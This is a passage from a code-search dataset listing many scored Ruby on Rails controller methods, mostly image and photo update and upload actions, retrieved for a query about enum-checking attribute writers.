"docid": "1ac57a782235a7062ebb2b4cd94b5f54",
"score": "0.6097997",
"text": "def update\n @image = Image.find(params[:id])\n\n @image.url = params[:url] || @image.url\n @image.product_id = params[:product_id] || @image.product_id\n \n if @image.save\n render \"show.json.jb\"\n else\n render json: { errors: @image.errors.full_messages }, status: 422\n end\n\n end",
"title": ""
},
{
"docid": "522e2d8bdbd11040eee04f31387c7da1",
"score": "0.60924876",
"text": "def update\n @image = Image.find(params[:id])\n @licenses = License.all\n @galleries = Gallery.all\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a60e477b70e1337027521b8d2c361f04",
"score": "0.60905707",
"text": "def update\n\n @experiment = Experiment.find(params[:id])\n @experiment.status = 0\n\n #raise (params[:fimages].inspect)\n\n params[:experiment][:images_attributes].each do |image|\n #raise image[:img].inspect\n img = @experiment.images.build({:img => image[:img]})\n\n # puts \"\\33[41m\"\n # puts \"\\n\"*5\n # p img\n # puts \"\\n\"*5\n # puts \"\\033[0m\"\n img.save\n end\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment,notice: params.inspect}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db8889e7bfe91a02116787de8af1f60f",
"score": "0.6088594",
"text": "def update\n @testimonial.rating = params[:score]\n @image_files = testimonial_params.delete(:images_array)\n\n respond_to do |format|\n if @testimonial.update(testimonial_params.except(:images_array))\n format.html { redirect_to @testimonial, notice: 'Testimonial was successfully updated.' }\n # format.json { render :show, status: :ok, location: @testimonial }\n\n #reset image(s) after parent-experience is save\n if @testimonial.images.present?\n @testimonial.images.delete_all\n end\n\n @image_files.each do |img|\n new_img = @testimonial.images.new\n new_img.local_image = img\n # img.title = @image_file.original_filename #this column serves no purpose, suggest to delete it via migration to images table\n new_img.caption = img.original_filename\n new_img.save!\n end unless @image_files.nil?\n else\n format.html { render :edit }\n # format.json { render json: @testimonial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae1050b8e2dd6e37f115b881b3d67c0f",
"score": "0.6087197",
"text": "def update\n @image = Image.find(params[:id]) \n if @image.fname != params[:image]['fname']\n /(.*)\\.(jpg|png)/i.match(@image.fname)\n iname = $1\n iformat = $2 \n paths = \"originals\", \"75x75\", \"image_thumb\"\n paths.each do |subdir|\n Dir.chdir(\"#{Rails.root}/#{@image.path}/#{subdir}\")\n file1 = File.open(@image.fname, \"r\") \n file2 = File.open(params[:image]['fname'], \"w\")\n file1.each {|line| file2.puts(line)}\n File.unlink(@image.fname)\n end\n\n end\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: \"Image was #{params[:image]['fname']} successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d30bcab122fda1a0f12855bb6944059e",
"score": "0.6087126",
"text": "def update\n @example = Example.find(params[:id])\n\n image_urls = params[:remote_image_urls] || []\n image_urls.each do |url|\n @example.photos.create(remote_image_url: url)\n end\n\n respond_to do |format|\n if @example.update_attributes(params[:example])\n format.html { redirect_to @example, notice: 'Example was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @example.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bbb67cd963ef6c347dc1f2e2bc34d77f",
"score": "0.60852593",
"text": "def update\n @upload = @posting.uploads.find(params[:id])\n\n respond_to do |format|\n if @upload.update_attributes(params[:upload])\n format.html { redirect_to @upload, notice: 'Upload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca5b4b8f66d1b0baab20263a40701b08",
"score": "0.6081273",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, :notice => 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @image.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b722929775605aeaa727066cb215484",
"score": "0.60799193",
"text": "def update\n\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"title": ""
},
{
"docid": "bdcdcdf261ffd155a6b295a464906953",
"score": "0.6078306",
"text": "def update params\n params ||= {}\n update_images params[:image].try(:first) || {}\n @gallery.save\n end",
"title": ""
},
{
"docid": "cc3f028204767269efdc4e743d179691",
"score": "0.60715204",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc3f028204767269efdc4e743d179691",
"score": "0.60715204",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9b1ac4838fac156301f95f5796dc139",
"score": "0.60707295",
"text": "def update\n @image = Image.find(params[:id])\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b726c6f2d9a17e6a988c21b71848fd67",
"score": "0.60700953",
"text": "def update \n @user = User.find(params[:id])\n @user.update({\n picture: params[\"picture\"]\n })\n render json: @user.to_json\n\n end",
"title": ""
},
{
"docid": "f236003107bb212b257ad1f97263d3e4",
"score": "0.6067072",
"text": "def update\n @photo.assign_attributes(photo_params)\n\n if @photo.save\n render 'show', status: 201, location: api_photos_path\n else\n render json: @photo.errors.messages, status: 404\n end\n end",
"title": ""
},
{
"docid": "d95cae81929dadcf3ee7bc7d02d8d839",
"score": "0.60622305",
"text": "def update\n @gig = Gig.find(params[:id])\n\n respond_to do |format|\n if @gig.update(gig_params)\n if params[:gig][:images].present?\n params[:gig][:images].each do |image|\n @gig.images.attach(image)\n end\n end\n format.html { redirect_to gigs_url, notice: 'Gig was successfully updated.' }\n format.json { render :show, status: :ok, location: @gig }\n create_activity(@gig, 'gig.update')\n else\n flash[:alert] = @gig.errors.full_messages.join(',')\n format.html { render :edit }\n format.json { render json: @gig.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.6062208",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.6062208",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.6062208",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.6062208",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.6062208",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.6062208",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25f42c685410d6b313afc3d7c25f14e4",
"score": "0.6062208",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "373ce06631a0e4bc2244291246f49f1e",
"score": "0.60619825",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n flash[:danger] = \"Name must be 3 characters long or a maximum of 30 characters long, or you have reached the maximum number of images allowed delete one image to update\"\n format.html { redirect_to :back }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ac1b411348e567b80b1b087540443f62",
"score": "0.60614955",
"text": "def update_image\n if params[:id].present?\n event_assets = params[:event_assets]\n event = Event.find(params[:id])\n array = event.event_assets\n image = array.push(event_assets)\n image_update = event.update(event_assets: image)\n render json: { message: \"Images are updated Successfully\" }, status: :ok\n else\n render json: { message: \"Give the Event ID\" }, status: :unprocessable_entity \n end\n end",
"title": ""
},
{
"docid": "973479d1162e3d984894e6ee81f7c98d",
"score": "0.60587376",
"text": "def image_upload\n s3 = Aws::S3::Resource.new\n\n fileName = @current_user.id + '_profile_pic' + rand(1..10000).to_s\n obj = s3.bucket('opynyn-images').object(fileName)\n obj.upload_file(image_upload_params[:image_file].tempfile, acl: 'public-read')\n\n if @current_user.update( :image_url => obj.public_url )\n render json: { success: true, imageUrl: obj.public_url }\n else\n render json: { success: false }\n end\n end",
"title": ""
},
{
"docid": "4c6949891aded3d0091b88c02459c45d",
"score": "0.60578847",
"text": "def update\n respond_to do |format|\n if @kickscooter.update(kickscooter_params)\n if params[:images]\n @kickscooter.gallery ||= Gallery.new\n params[:images].each do |image|\n @kickscooter.gallery.images.create(image: image)\n end\n unless @kickscooter.image_file_size\n @kickscooter.update(image: @kickscooter.gallery.images.first.image)\n end\n end\n format.html { redirect_to @kickscooter, notice: 'Kickscooter was successfully updated.' }\n format.json { render :show, status: :ok, location: @kickscooter }\n else\n format.html { render :edit }\n format.json { render json: @kickscooter.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c8525e335c7d6205dcae35a16bd4352f",
"score": "0.60555995",
"text": "def update\n @image = Image.find(params[:id])\n\n if @image.update(tl_params)\n head :no_content\n else\n render json: @image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5a5c116a8057dd80d6136ecbd6eb3d4a",
"score": "0.60499245",
"text": "def update\n\t@uploaded_io = params[:image][:uploaded_file]\n\t@image.img_type = params[:img_type]\n\tif @uploaded_io != nil\n\t\tFile.open(Rails.root.join('public','images',@image.filename), 'wb') do |file|\n\t\t\tfile.write(@uploaded_io.read)\n\t\tend\n\n\t\tif @image.save\n\t\t\tredirect_to @image, notice: 'Image was updated'\n\t\telse\n\t\t\trender :new\n\t\tend\n\telse\n\t\t@image.save\n\t\tredirect_to @image, notice: 'Image was updated'\n end\n end",
"title": ""
},
{
"docid": "250f6f2f74cb87059f008c8807060496",
"score": "0.6049547",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "073665f99de9afa6fe1a51a36855fa2c",
"score": "0.60482204",
"text": "def update\n @articulo.image.purge\n @articulo.image.attach(articulo_params[:image])\n respond_to do |format|\n if @articulo.update(articulo_params)\n format.html { redirect_to @articulo, notice: 'Articulo was successfully updated.' }\n format.json { render :show, status: :ok, location: @articulo }\n else\n format.html { render :edit }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f5e2cb80bb100787eb20ce3f1b83de55",
"score": "0.6046244",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to([@cloud_engine, @image], :notice => 'Image was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @image.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20e0e313fc3dd06ed80c437ee3c6e878",
"score": "0.6045474",
"text": "def update\n respond_to do |format|\n if @lecture.update(lecture_params)\n if !params[:lecture_files].nil?\n params[:lecture_files].each {|file| \n @lecture.lecture_files.create(image: file, user_id: current_user.id)\n }\n end\n format.html { redirect_to @lecture, notice: 'Lecture was successfully updated.' }\n format.json { render :show, status: :ok, location: @lecture }\n else\n format.html { render :edit }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c5da38c785f21e9d3bbdbc2d8d9bd9c",
"score": "0.6038322",
"text": "def update\n respond_to do |format|\n if @collection_image.update(collection_image_params)\n format.html { redirect_to @collection_image, notice: 'Collection image was successfully updated.' }\n format.json { render :show, status: :ok, location: @collection_image }\n else\n format.html { render :edit }\n format.json { render json: @collection_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64f3d28e0b46b7ecb158533f95a5d6de",
"score": "0.6031481",
"text": "def update\n @image = Image.find(params[:id])\n @image.tag_list = params[:tag_list]\n\n\n respond_to do |format|\n if @image.save\n format.html { render json: @image.to_json(:include => :tags) }\n # format.html { redirect_to \"/images##{@image.id}\" }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41648ae93ed5e1479ad7782ab07ef2a8",
"score": "0.60313743",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to admin_image_path @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a5a2c4bc5aea56b2d725660e6c9f6026",
"score": "0.60295886",
"text": "def update\n new_params = testimonial_params\n if testimonial_params[:image].present?\n Cloudinary::Uploader.destroy(@testimonial.public_id.split(\"/\").last.split(\".\")[0] ,@auth) if @testimonial.public_id.present?\n data = Cloudinary::Uploader.upload(testimonial_params[:image],@auth)\n new_params['public_id'] = data['secure_url']\n new_params['image_file_size'] = data['bytes']\n end\n respond_to do |format|\n if @testimonial.update(new_params)\n format.html { redirect_to testimonials_path, notice: 'Testimonial was successfully updated.' }\n format.json { render :show, status: :ok, location: @testimonial }\n else\n format.html { render :edit }\n format.json { render json: @testimonial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1255243a8c9f63fe94ee1eaadc244ed9",
"score": "0.6026851",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n if params[:restaurant][:images].present?\n params[:restaurant][:images].each do |image|\n @restaurant.images.attach(image)\n end\n end\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant }\n else\n format.html { render :edit }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fbaa393d6e99ded1e4a2c09a3e1c1c71",
"score": "0.60261077",
"text": "def update\n respond_to do |format|\n if @image_attachment.update(image_attachment_params)\n format.html { redirect_to @image_attachment }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8e18db431964c254de53caa41795b702",
"score": "0.60254306",
"text": "def put *args\n make_request :put, *args\n end",
"title": ""
},
{
"docid": "12e46ea78d3e0928916feeadf6bafc10",
"score": "0.6023679",
"text": "def update\n\n fullImage = params[:kit_item][:image_url].split('/')\n params[:kit_item][:image_url] = fullImage[fullImage.length-1]\n\n respond_to do |format|\n if @kit_item.update(kit_item_params)\n flash[:success] = \"Kit Item Updated.\"\n format.html { redirect_to kit_items_path}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kit_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9eacaf78f681c0a0fd8397526d5d3a41",
"score": "0.6022975",
"text": "def update\n\tif logged? \n\t\t@image = Image.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t if @image.update_attributes(params[:image])\n\t\t\tformat.html { redirect_to @image, :notice => 'Image was successfully updated.' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @image.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n else\n\t\tunloggedRedirect\n\tend \n end",
"title": ""
},
{
"docid": "61c5b53cbc11f271561ebc315e5709ed",
"score": "0.60213274",
"text": "def update\n @carrierwave_image = CarrierwaveImage.find(params[:id])\n\n if @carrierwave_image.update(carrierwave_image_params)\n head :no_content\n else\n render json: @carrierwave_image.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "1b8581efca554d048c8df1d9a053852a",
"score": "0.6018881",
"text": "def update\n @slider = Slider.find(params[:id])\n @slider.image_url\n @slider.remove_image!\n update_slider = @slider.update(slider_params)\n if update_slider\n render json: { status: 'OK', results: update_slider, error: nil },\n status: :ok\n else\n render json: { status: 'FAIL', results: nil, error: 'Data fail to update' },\n status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5492a56fd3c86095b5be9288d0202bc3",
"score": "0.6017903",
"text": "def upload_photo\n if request.put?\n if params[:workshop] and params[:workshop][:image]\n @i = Image.new(:i => params[:workshop][:image], :user => current_user, :apropos => @workshop, :title => params[:workshop][:title]) \n end\n if @i.try(:save)\n @i.create_activity :upload, owner: current_user\n redirect_to workshop_path(@workshop), notice: \"Image uploaded\"\n else\n redirect_to upload_photo_workshop_path(@workshop), alert: \"There was a problem uploading that file. Try another.\"\n end\n end\n end",
"title": ""
},
{
"docid": "3461cf6405819171e2d72ec349744577",
"score": "0.6016496",
"text": "def update\n respond_to do |format|\n\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n if params[:spot][:photos]\n @spot.photos.attach(params[:spot][:photos])\n end\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23eb22f5a6fd3e877dab5f6ac8d7d8ab",
"score": "0.60151225",
"text": "def update\n update_photo\n end",
"title": ""
},
{
"docid": "9cb8614a03a5dce89f164a97eadc2d41",
"score": "0.6008458",
"text": "def update\n photo = Photo.find(params[:id])\n if photo.update(photo_params)\n render json: { photos: photo }, status: :ok\n else\n render json: { errors: photo.errors }, status: 422\n end\n end",
"title": ""
},
{
"docid": "990367a0cc945700419a54567459d517",
"score": "0.6006367",
"text": "def upload\n @image = current_store.images.build(attachment: upload_params[:upload])\n\n if @image.save\n track @image\n respond_to :json\n else\n render json: {\n error: {message: @image.errors.messages[:attachment].join(' ')}\n }\n end\n end",
"title": ""
},
{
"docid": "2e58f73184941a264e5b1dd48f5a5ef0",
"score": "0.5997485",
"text": "def update\n @image = Image.find(params[:id])\n\n respond_to do |format|\n \n unless params[:upload].blank?\n datafile = params[:upload]['datafile']\n @image.update_img(@image.name, params[:image][:name], datafile.read)\n end\n\n if @image.update_attributes(params[:image])\n format.html { redirect_to(@image, :notice => 'Image was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @image.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cfd1e4c363957cbe46fd839efeed1642",
"score": "0.5992753",
"text": "def update\n respond_to do |format|\n if @image1.update(image1_params)\n format.html { redirect_to @image1, notice: \"Image1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @image1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @image1.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6dd5785920e2e85122c4c62c1b2ac4f1",
"score": "0.5986577",
"text": "def update\n respond_to do |format|\n if @image.update_attributes(params[:image])\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4a9fad5e8fc8d3aad2bee55f1b69a0a0",
"score": "0.5983873",
"text": "def update\n\n # Get the image object and assign new image path to it\n image_type = params[:image_type] || \"Image::Base\"\n @image = image_type.constantize.find(params[:id])\n\n @image.image = params[:image][:image]\n @redirect_url = params[:redirect_url] || root_url\n\n ## Validating the data\n @image.valid?\n\n respond_to do |format|\n if @image.errors.blank?\n\n # Saving the admin object\n @image.save\n\n # Setting the flash message\n message = translate(\"forms.created_successfully\", :item => \"Image\")\n store_flash_message(message, :success)\n\n format.html {\n redirect_to @redirect_url, notice: message\n }\n format.json { render json: @image, status: :created, location: @image }\n format.js {}\n else\n\n # Setting the flash message\n message = @image.errors.full_messages.to_sentence\n store_flash_message(message, :alert)\n\n format.html { render action: \"new\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n format.js {}\n end\n end\n end",
"title": ""
},
{
"docid": "c36488358f6512bad5b39f8d0b0e189b",
"score": "0.598328",
"text": "def update\n i = Image.find(params[:id])\n i.description = params[\"descr\"].strip\n i.save\n\n # update associated exif info:\n unless params[\"date-time\"].length == 0\n e = Exif.where(:image_id => i.id).first\n e.date_time = params[\"date-time\"]\n e.save\n end\n\n # set as cover image:\n unless params[\"cover-image\"] == nil\n f = Folder.find(i.folder_id)\n f.cover = i.id\n f.save\n end\n \n redirect_to \"/admin/folder/#{i.folder.id}\"\n end",
"title": ""
},
{
"docid": "6a5acb373a0397bc72cab6cb2b07d6d2",
"score": "0.59826225",
"text": "def create\n #check if file is within picture_path\n if params[:image][:image_path][\"file\"]\n picture_path_params = params[:image][:image_path]\n #create a new tempfile named fileupload\n tempfile = Tempfile.new(\"fileupload\")\n tempfile.binmode\n #get the file and decode it with base64 then write it to the tempfile\n tempfile.write(Base64.decode64(picture_path_params[\"file\"]))\n\n #create a new uploaded file\n uploaded_file = ActionDispatch::Http::UploadedFile.new(:tempfile => tempfile, :filename => picture_path_params[\"filename\"], :original_filename => picture_path_params[\"original_filename\"])\n\n #replace picture_path with the new uploaded file\n params[:image][:image_path] = uploaded_file\n\n end\n\n @image = Image.new(params[:image])\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to @image, notice: 'Image was successfully created.' }\n format.json { render json: @image, status: :created, location: @image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n\n def edit\n @image = Image.find(params[:id])\n end\n\n def update\n @image = Image.find(params[:id])\n\n if @image.update_attributes(params[:image])\n respond_with do |format|\n format.html do\n flash[:notice] = \"Successfully updated image.\"\n redirect_to @image.aquarium\n end\n format.json { render json: @image.aquariam, :status => :created }\n end\n else\n respond_with do |format|\n format.html { render :action, 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3f8879efde4b29dcc04d09586876df51",
"score": "0.59817696",
"text": "def update\n if params[:file].present?\n if @animal.update(update_params.merge({image: params[:file]}))\n head :no_content\n else\n render json: @animal.errors, status: :unprocessable_entity\n end\n else\n if @animal.update(update_params)\n head :no_content\n else\n render json: @animal.errors, status: :unprocessable_entity\n end\n end\n end",
"title": ""
},
{
"docid": "4948bc4120223bb4b864e92980bc1314",
"score": "0.59811777",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @recipe, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a3c071e74edf9f483e5cc3c2371ac9cc",
"score": "0.5978479",
"text": "def upload_image(image = {}); JSON[Api::post_upload_image(image.merge(cookies: cookies, base_url: base_url, verify_ssl: verify_ssl))]; end",
"title": ""
},
{
"docid": "ecbe58d2679c05ca86bf3e53a0ac266a",
"score": "0.5975799",
"text": "def update\n respond_to do |format|\n if @room.update(room_params)\n if params[:images]\n params[:images].each do |image|\n @room.photos.create(image: image)\n end\n end \n \n\n\n format.html { redirect_to edit_room_path(@room), notice: 'Room was successfully updated.' }\n format.json { render :show, status: :ok, location: @room }\n else\n format.html { render :edit }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52b7c0362668abcce92e92804c41f5b6",
"score": "0.59753996",
"text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to @image, notice: 'Image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
69beaa3e957d1fc356539d0314d703e1 | Custom attribute writer method checking allowed values (enum). | [
{
"docid": "6993f255796f58e235bb163128977861",
"score": "0.0",
"text": "def cdn_support=(cdn_support)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"LOMs Only\"])\n unless validator.valid?(cdn_support)\n fail ArgumentError, \"invalid value for \\\"cdn_support\\\", must be one of #{validator.allowable_values}.\"\n end\n @cdn_support = cdn_support\n end",
"title": ""
}
] | [
{
"docid": "af6d0e33773bc681443214ce777b13e1",
"score": "0.7088127",
"text": "def write_attribute_with_enum(attr, value)\n write_attribute_without_enum attr, converted_enum(attr, value)\n end",
"title": ""
},
{
"docid": "85eec95603dc239e3d18923b2c672b31",
"score": "0.64820594",
"text": "def attr_enum(name, enum, options={}, &block)\n raise ArgumentError, 'enum' unless enum && enum.respond_to?(:values)\n\n options = {\n :enum => enum,\n :validate => true\n }.merge(options)\n\n required = options[:required] == true\n converter = block_given? ? block : Converters.converter_for(:enum, options)\n\n attr_reader_with_converter name, converter, options\n\n validates name,\n :allow_blank => !required,\n :allow_nil => !required,\n :inclusion => { :in => enum.values } if options[:validate]\n\n attr_writer name\n\n add_attr(name, :enum, converter, options)\n end",
"title": ""
},
{
"docid": "1813a772b2cbcd958e1dc18a502929ae",
"score": "0.6429773",
"text": "def _attribute_enum?(attr)\n return false unless self.class.respond_to?(:defined_enums)\n self.class.defined_enums.with_indifferent_access.include?(attr)\n end",
"title": ""
},
{
"docid": "acb82197ce967648e755848e4bedefaa",
"score": "0.6227689",
"text": "def nature_of_business=(nature_of_business)\n validator = EnumAttributeValidator.new('String', [\"personal\", \"agriculture_and_hunting\", \"forestry\", \"fishing\", \"agricultural_by_products\", \"coal_mining\", \"oil_mining\", \"iron_ore_mining\", \"other_metal_and_diamond_mining\", \"other_mineral_mining\", \"manufacturing_of_food_drink_tobacco\", \"manufacturing_of_textiles_leather_fur_furniture\", \"manufacture_of_wooden_products_furniture\", \"manufacture_of_paper_pulp_allied_products\", \"manufacture_of_chemicals_medical_petroleum_rubber_plastic_products\", \"manufacture_of_pottery_china_glass_stone\", \"manufacture_of_iron_steel_non_ferrous_metals_basic_industries\", \"manufacture_of_metal_products_electrical_and_scientific_engineering\", \"manufacture_of_jewelry_musical_instruments_toys\", \"electricity_gas_and_water\", \"construction\", \"wholesale_trade\", \"retail_trade\", \"catering_incl_hotels\", \"transport_storage\", \"communications\", \"finance_and_holding_companies\", \"insurance\", \"business_services\", \"real_estate_development_investment\", \"central_state_governments\", \"community_services_defence_police_prisons_etc\", \"social_services_education_health_care\", \"personal_services_leisure_services\", \"personal_services_domestic_laundry_repairs\", \"personal_services_embassies_international_organisations\"])\n unless validator.valid?(nature_of_business) || nature_of_business.empty?\n fail ArgumentError, \"invalid value for \\\"nature_of_business\\\", must be 